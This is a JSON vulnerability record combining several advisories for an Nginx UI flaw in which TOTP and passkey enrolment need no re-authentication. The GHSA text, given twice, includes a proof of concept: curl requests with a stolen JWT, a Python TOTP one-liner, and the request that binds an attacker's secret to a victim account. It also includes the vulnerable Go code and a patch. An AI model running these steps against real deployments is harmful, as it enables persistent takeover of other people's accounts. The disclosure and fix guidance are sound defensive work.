{"id":"CVE-2026-84313","aliases":["EUVD-2026-97865","GHSA-gfrc-g87h-7h5w","GO-2026-6786"],"status":"published","title":"Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover","description":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, POST /api/otp_enroll and POST /api/finish_passkey_register are registered outside RequireSecureSession and accept a normal authenticated session without verifying the current password. An attacker with a stolen JWT can bind an attacker-controlled TOTP secret when the victim has not already enabled TOTP, or can register an attacker-controlled passkey because that path has no equivalent existing-enrollment guard. These changes create persistent account access that can survive a password change and interfere with the legitimate user's authentication. This issue is fixed in version 2.4.1.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00542,"percentile":0.46039,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-287","CWE-306"],"published":"2026-10-12T20:51:44Z","modified":"2026-10-28T15:15:05Z","fixes":[{"ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","fixed_in":["1.9.10-0.20260703131214-23d1934099b0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.10-0.20260703131214-23d1934099b0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.9.10-0.20260703131214-23d1934099b0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}],"products":[{"vendor":"0xjacky","product":"nginx-ui"}],"references":[{"url":"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-gfrc-g87h-7h5w","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84313","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-gfrc-g87h-7h5w"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/84xxx/CVE-2026-84313.json","tags":["advisory"]},{"url":"https://github.com/0xJacky/nginx-ui","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-84313","title":"Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover","description":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, POST /api/otp_enroll and POST /api/finish_passkey_register are registered outside RequireSecureSession and accept a normal authenticated session without verifying the current password. An attacker with a stolen JWT can bind an attacker-controlled TOTP secret when the victim has not already enabled TOTP, or can register an attacker-controlled passkey because that path has no equivalent existing-enrollment guard. These changes create persistent account access that can survive a password change and interfere with the legitimate user's authentication. This issue is fixed in version 2.4.1.","status":"published","published":"2026-10-12T20:51:44.751Z","modified":"2026-10-15T13:48:40.557Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-287","CWE-306"],"updated_at":"2026-11-02T14:20:08.391556Z"}],"euvd":[{"id":"EUVD-2026-97865","description":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, POST /api/otp_enroll and POST /api/finish_passkey_register are registered outside RequireSecureSession and accept a normal authenticated session without verifying the current password. An attacker with a stolen JWT can bind an attacker-controlled TOTP secret when the victim has not already enabled TOTP, or can register an attacker-controlled passkey because that path has no equivalent existing-enrollment guard. These changes create persistent account access that can survive a password change and interfere with the legitimate user's authentication. This issue is fixed in version 2.4.1.","status":"published","published":"2026-10-12T20:51:44Z","modified":"2026-10-15T13:48:40Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T17:00:14.584665Z"}],"ghsa":[{"id":"GHSA-gfrc-g87h-7h5w","title":"Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover","description":"## Summary\n\nEndpoints that bind a TOTP secret (`POST /api/otp_enroll`) or register a WebAuthn passkey (`POST /api/finish_passkey_register`) for the *current* user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered **outside** the `RequireSecureSession()` group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out.\n\n## Details\n\n`api/user/router.go:34-39` — note the routes registered *before* the secure-session group:\n\n```go\nr.GET(\"/otp_secret\", GenerateTOTP)\nr.POST(\"/otp_enroll\", EnrollTOTP)                     // ← outside RequireSecureSession\nr.GET(\"/begin_passkey_register\", BeginPasskeyRegistration)\nr.POST(\"/finish_passkey_register\", FinishPasskeyRegistration)  // ← outside RequireSecureSession\n\no := r.Group(\"\", middleware.RequireSecureSession())\n{\n    o.GET(\"/otp_reset\", ResetOTP)                     // reset *is* protected — inconsistent\n    ...\n}\n```\n\n`EnrollTOTP` (`api/user/otp.go:45-102`) only refuses if `cUser.EnabledOTP()` is already `true`; for any victim who has never enabled TOTP it accepts an attacker-supplied `Secret` and `Passcode` pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting):\n\n```go\nif cUser.EnabledOTP() { ... abort ... }\nvar twoFA struct {\n    Secret   string `json:\"secret\"   binding:\"required\"`\n    Passcode string `json:\"passcode\" binding:\"required\"`\n}\nif !cosy.BindAndValid(c, \u0026twoFA) { return }\nif ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... }\nciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret))\nu.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)\n```\n\n`FinishPasskeyRegistration` (`api/user/passkey.go`) is structurally identical and additionally has *no* \"already enrolled\" guard — an attacker can register multiple passkeys to the victim.\n\n## Proof of Concept\n\n```bash\nJWT=\"\u003cvictim_jwt\u003e\"\n\n# Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call):\n$ curl -s -H \"Authorization: $JWT\" http://127.0.0.1:18080/api/otp_secret\n{\"secret\":\"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN\",\n \"url\":\"otpauth://totp/Nginx%20UI:admin?...\u0026secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN\"}\n\n# Step 2 — compute current 30-s TOTP code (attacker-side):\n$ python3 -c \"import base64,hmac,hashlib,struct,time\nkey=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN')\nctr=int(time.time())//30\nh=hmac.new(key, struct.pack('\u003eQ',ctr), hashlib.sha1).digest()\no=h[-1]\u00260xF; v=(struct.unpack('\u003eI',h[o:o+4])[0]\u00260x7fffffff)%1000000\nprint(f'{v:06d}')\"\n954084\n\n# Step 3 — bind that secret to the victim's account:\n$ curl -i -X POST -H \"Authorization: $JWT\" -H \"Content-Type: application/json\" \\\n       -d '{\"secret\":\"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN\",\"passcode\":\"954084\"}' \\\n       http://127.0.0.1:18080/api/otp_enroll\n\nHTTP/1.1 200 OK\n{\"message\":\"ok\",\"codes\":[{\"code\":\"c77d5-50543\"},{\"code\":\"f9284-688c6\"},...],\n \"last_viewed\":1778338236}\n\n# Step 4 — confirm 2FA is now enabled on the victim's account:\n$ curl -s -H \"Authorization: $JWT\" http://127.0.0.1:18080/api/2fa_status\n{\"enabled\":true,\"otp_status\":true,\"passkey_status\":false,\n \"recovery_codes_generated\":true,\"recovery_codes_viewed\":true}\n```\n\nNow whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the *attacker's* authenticator.\n\nThe passkey variant follows the same pattern: `GET /api/begin_passkey_register` then `POST /api/finish_passkey_register` with the attacker's WebAuthn authenticator. The route is also outside `RequireSecureSession`.\n\n## Impact\n\n* Persistent account takeover surviving the victim's password reset.\n* Combines trivially with any of: stolen JWT, the `RequireSecureSession` bypass, the missing-role-model privilege escalation, and the weak recovery-code generation.\n\n## Patches\n\n`api/user/router.go` — move enrolment routes inside the secure-session group:\n\n```diff\n-    r.POST(\"/otp_enroll\", EnrollTOTP)\n-    r.GET(\"/begin_passkey_register\", BeginPasskeyRegistration)\n-    r.POST(\"/finish_passkey_register\", FinishPasskeyRegistration)\n-\n     o := r.Group(\"\", middleware.RequireSecureSession())\n     {\n+        o.POST(\"/otp_enroll\", EnrollTOTP)\n+        o.GET(\"/begin_passkey_register\", BeginPasskeyRegistration)\n+        o.POST(\"/finish_passkey_register\", FinishPasskeyRegistration)\n         o.GET(\"/otp_reset\", ResetOTP)\n         ...\n     }\n```\n\nThis patch alone is **not sufficient** — the `RequireSecureSession` middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring `UpdateCurrentUserPassword` at `api/user/current_user.go`).\n\n## Workarounds\n\nNone reliable. Operators should monitor the `users` table for unexpected `OTPSecret` values and the `passkeys` table for unexpected rows.\n\n## Credits\n\nVishal Shukla ([@shukla304](https://github.com/shukla304)) and Sechub.dev AI Agent.","status":"published","published":"2026-10-15T20:11:32Z","modified":"2026-10-28T15:04:58Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-287","CWE-306"],"updated_at":"2026-11-02T14:41:38.969831Z"}],"nvd":[{"id":"CVE-2026-84313","description":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, POST /api/otp_enroll and POST /api/finish_passkey_register are registered outside RequireSecureSession and accept a normal authenticated session without verifying the current password. An attacker with a stolen JWT can bind an attacker-controlled TOTP secret when the victim has not already enabled TOTP, or can register an attacker-controlled passkey because that path has no equivalent existing-enrollment guard. These changes create persistent account access that can survive a password change and interfere with the legitimate user's authentication. This issue is fixed in version 2.4.1.","status":"published","published":"2026-10-12T21:17:21.597Z","modified":"2026-10-15T14:17:29.597Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-287","CWE-306"],"updated_at":"2026-11-02T14:12:56.72789Z"}],"osv":[{"id":"CVE-2026-84313","title":"Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover","description":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, POST /api/otp_enroll and POST /api/finish_passkey_register are registered outside RequireSecureSession and accept a normal authenticated session without verifying the current password. An attacker with a stolen JWT can bind an attacker-controlled TOTP secret when the victim has not already enabled TOTP, or can register an attacker-controlled passkey because that path has no equivalent existing-enrollment guard. These changes create persistent account access that can survive a password change and interfere with the legitimate user's authentication. This issue is fixed in version 2.4.1.","status":"published","published":"2026-10-12T20:51:44.751Z","modified":"2026-10-28T02:31:04.584832462Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-287","CWE-306"],"updated_at":"2026-11-02T15:45:18.482949Z"},{"id":"GHSA-gfrc-g87h-7h5w","title":"Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover","description":"## Summary\n\nEndpoints that bind a TOTP secret (`POST /api/otp_enroll`) or register a WebAuthn passkey (`POST /api/finish_passkey_register`) for the *current* user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered **outside** the `RequireSecureSession()` group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out.\n\n## Details\n\n`api/user/router.go:34-39` — note the routes registered *before* the secure-session group:\n\n```go\nr.GET(\"/otp_secret\", GenerateTOTP)\nr.POST(\"/otp_enroll\", EnrollTOTP)                     // ← outside RequireSecureSession\nr.GET(\"/begin_passkey_register\", BeginPasskeyRegistration)\nr.POST(\"/finish_passkey_register\", FinishPasskeyRegistration)  // ← outside RequireSecureSession\n\no := r.Group(\"\", middleware.RequireSecureSession())\n{\n    o.GET(\"/otp_reset\", ResetOTP)                     // reset *is* protected — inconsistent\n    ...\n}\n```\n\n`EnrollTOTP` (`api/user/otp.go:45-102`) only refuses if `cUser.EnabledOTP()` is already `true`; for any victim who has never enabled TOTP it accepts an attacker-supplied `Secret` and `Passcode` pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting):\n\n```go\nif cUser.EnabledOTP() { ... abort ... }\nvar twoFA struct {\n    Secret   string `json:\"secret\"   binding:\"required\"`\n    Passcode string `json:\"passcode\" binding:\"required\"`\n}\nif !cosy.BindAndValid(c, \u0026twoFA) { return }\nif ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... }\nciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret))\nu.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)\n```\n\n`FinishPasskeyRegistration` (`api/user/passkey.go`) is structurally identical and additionally has *no* \"already enrolled\" guard — an attacker can register multiple passkeys to the victim.\n\n## Proof of Concept\n\n```bash\nJWT=\"\u003cvictim_jwt\u003e\"\n\n# Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call):\n$ curl -s -H \"Authorization: $JWT\" http://127.0.0.1:18080/api/otp_secret\n{\"secret\":\"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN\",\n \"url\":\"otpauth://totp/Nginx%20UI:admin?...\u0026secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN\"}\n\n# Step 2 — compute current 30-s TOTP code (attacker-side):\n$ python3 -c \"import base64,hmac,hashlib,struct,time\nkey=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN')\nctr=int(time.time())//30\nh=hmac.new(key, struct.pack('\u003eQ',ctr), hashlib.sha1).digest()\no=h[-1]\u00260xF; v=(struct.unpack('\u003eI',h[o:o+4])[0]\u00260x7fffffff)%1000000\nprint(f'{v:06d}')\"\n954084\n\n# Step 3 — bind that secret to the victim's account:\n$ curl -i -X POST -H \"Authorization: $JWT\" -H \"Content-Type: application/json\" \\\n       -d '{\"secret\":\"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN\",\"passcode\":\"954084\"}' \\\n       http://127.0.0.1:18080/api/otp_enroll\n\nHTTP/1.1 200 OK\n{\"message\":\"ok\",\"codes\":[{\"code\":\"c77d5-50543\"},{\"code\":\"f9284-688c6\"},...],\n \"last_viewed\":1778338236}\n\n# Step 4 — confirm 2FA is now enabled on the victim's account:\n$ curl -s -H \"Authorization: $JWT\" http://127.0.0.1:18080/api/2fa_status\n{\"enabled\":true,\"otp_status\":true,\"passkey_status\":false,\n \"recovery_codes_generated\":true,\"recovery_codes_viewed\":true}\n```\n\nNow whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the *attacker's* authenticator.\n\nThe passkey variant follows the same pattern: `GET /api/begin_passkey_register` then `POST /api/finish_passkey_register` with the attacker's WebAuthn authenticator. The route is also outside `RequireSecureSession`.\n\n## Impact\n\n* Persistent account takeover surviving the victim's password reset.\n* Combines trivially with any of: stolen JWT, the `RequireSecureSession` bypass, the missing-role-model privilege escalation, and the weak recovery-code generation.\n\n## Patches\n\n`api/user/router.go` — move enrolment routes inside the secure-session group:\n\n```diff\n-    r.POST(\"/otp_enroll\", EnrollTOTP)\n-    r.GET(\"/begin_passkey_register\", BeginPasskeyRegistration)\n-    r.POST(\"/finish_passkey_register\", FinishPasskeyRegistration)\n-\n     o := r.Group(\"\", middleware.RequireSecureSession())\n     {\n+        o.POST(\"/otp_enroll\", EnrollTOTP)\n+        o.GET(\"/begin_passkey_register\", BeginPasskeyRegistration)\n+        o.POST(\"/finish_passkey_register\", FinishPasskeyRegistration)\n         o.GET(\"/otp_reset\", ResetOTP)\n         ...\n     }\n```\n\nThis patch alone is **not sufficient** — the `RequireSecureSession` middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring `UpdateCurrentUserPassword` at `api/user/current_user.go`).\n\n## Workarounds\n\nNone reliable. Operators should monitor the `users` table for unexpected `OTPSecret` values and the `passkeys` table for unexpected rows.\n\n## Credits\n\nVishal Shukla ([@shukla304](https://github.com/shukla304)) and Sechub.dev AI Agent.","status":"published","published":"2026-10-15T20:11:32Z","modified":"2026-10-28T15:15:05.425330963Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-287","CWE-306"],"updated_at":"2026-11-02T15:46:47.822182Z"},{"id":"GO-2026-6786","title":"TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover in github.com/0xJacky/Nginx-UI","description":"TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover in github.com/0xJacky/Nginx-UI","status":"published","published":"2026-10-19T21:08:39Z","modified":"2026-10-19T21:31:50.624956898Z","updated_at":"2026-11-02T15:47:03.11707Z"}]}}
